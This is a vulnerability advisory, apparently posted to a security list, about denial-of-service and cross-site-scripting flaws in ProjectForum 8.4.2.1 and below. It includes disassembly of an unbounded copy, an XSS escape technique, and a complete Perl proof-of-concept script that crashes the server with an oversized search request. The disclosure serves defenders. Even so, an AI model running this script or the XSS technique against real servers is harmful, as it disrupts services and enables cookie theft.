#####################################
Credit: Author : Peter Winter-Smith
Software : ProjectForum Versions : Version 8.4.2.1 and below Vendor : Equi4 Software Vendor Url : http://www.projectforum.com/projectforum/
Vulnerability: Bug Type : Denial of Service; Cross Site Scripting Severity : Less Critical
1. Description of Software
"ProjectForum provides a powerful but easy-to-use solution for flexible workgroup collaboration and coordination of projects and teams over the web." - Vendor's Description
2. Bug Information
(a). Denial of Service Attack
It is evident that there is a fault that lies within ProjectForum which can allow an attacker to cause the server application 'projectforum.exe' to crash and stop responding to requests from clients.
This can be triggered by sending an overly long 'find' request string to the server in question. The code which is at fault within the application is below (in sub procedure/function 0040C4A0...):
:0040C4BA E891751400 Call 00553A50 :0040C4BF 8903 mov dword ptr [ebx], eax :0040C4C1 8BCD mov ecx, ebp :0040C4C3 C60001 mov byte ptr [eax], 01 :0040C4C6 8B3B mov edi, dword ptr [ebx] :0040C4C8 8BD1 mov edx, ecx :0040C4CA 83C702 add edi, 00000002 :0040C4CD C1E902 shr ecx, 02 :0040C4D0 F3A5 repz movsd :0040C4D2 8BCA mov ecx, edx
At 0040C4D0 the 'repz movsd' instruction attempts to copy the string which was sent in the 'find' request through the website's search function (pointed to by the esi register) into the address space pointed to by the edi register.
No bounds checking is performed by this function, so it moves data repeatedly until it reaches an address which it is unable to read from, this causes the application to crash.
(b). Cross Site Scripting
The internal ProjectForum engine does not seem to make any effort to parse out dangerous characters which could enable an attacker to insert their own html code to be rendered with the privileges of the server. Dangerous outcomes to this could include the stealing of user cookies or the creation of a fake login page which may enable an attacker to trick the user giving out sensitive information.
There are many attack vectors for this flaw, including the input boxes in the administrator login page and the find function, and the error page.
The input box often needs to be escaped by prefixing the html code with a
double quote and a greater-than symbol (">).
NOTE: Testing has shown that CourseForum, a similar application which uses the same engine as ProjectForum, is also vulnerable to these attacks.
3. Proof of Concept Code
I have provided a Denial of Service exploit which can be used to test your systems for this vulnerability.
############################### [pfdos.pl] ###############################
#!/usr/bin/perl -w
############################################################ # # # ProjectForum 8.4.2.1 and below DoS Proof of Concept Code # # by Peter Winter-Smith [peter4020@hotmail.com] # # # ############################################################
use IO::Socket;
if(!($ARGV[1]))
{
print "\nUsage: pfdos.pl <victim> <port>\n" .
"\tdefault port is 3455\n\n";
exit;
}$victim = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>$ARGV[0],
PeerPort=>$ARGV[1])
or die "Unable to connect to $ARGV[0] " .
"on port $ARGV[1]";$DoSpacket = '' . 'POST /1/Search HTTP/1.1' . "\x0d\x0a" . 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, ' . 'application/x-gsarcade-launch, application/vnd.ms-excel, ' . 'application/vnd.ms-powerpoint, application/msword, ' . 'application/x-shockwave-flash, */*' . "\x0d\x0a" . 'Referer: http://localhost:3455/1/Search' . "\x0d\x0a" . 'Accept-Language: en-gb..Content-Type: application/x-www-form-' . 'urlencoded' . "\x0d\x0a" . 'Accept-Encoding: gzip, deflate' . "\x0d\x0a" . 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ' . 'xxxxxxxxxxxxx' . "\x20" . '1.0.5; .NET CLR 1.0.3705; .NET CLR 1.1.4322)' . "\x0d\x0a" . 'Host: localhost:3455' . "\x0d\x0a" . 'Content-Length: 6306' . "\x0d\x0a" . 'Connection: Keep-Alive' . "\x0d\x0a" . 'Cache-Control: no-cache' . "\x0d\x0a" . "\x0d\x0a" . 'q=' . 'a'x6292 . '&action=Find' . "\x0d\x0a";
print $victim $DoSpacket;
print " + Making Request ...\n + Server should be dead!!\n";
sleep(4); close($victim);
print "Done.\n"; exit;
##########################################################################
4. Patches - Workarounds
No known patches have been issued.
5. Credits
The discovery, analysis and exploitation of this flaw is a result of research carried out by Peter Winter-Smith. I would ask that you do not regard any of the analysis to be 'set in stone', and that if investigating this flaw you back trace the steps detailed earlier for yourself.
Greets and thanks to: David and Mark Litchfield, JJ Gray (Nexus), Todd and all the packetstorm crew, Luigi Auriemma, Bahaa Naamneh, sean(gilbert(perlboy)), pv8man, nick k., Joel J. and Martine.
o This document should be mirrored at: - http://www.elitehaven.net/pfbugs.txt
_________________________________________________________________ Send a funky MSN Messenger Christmas card http://www.msn.co.uk/christmascard
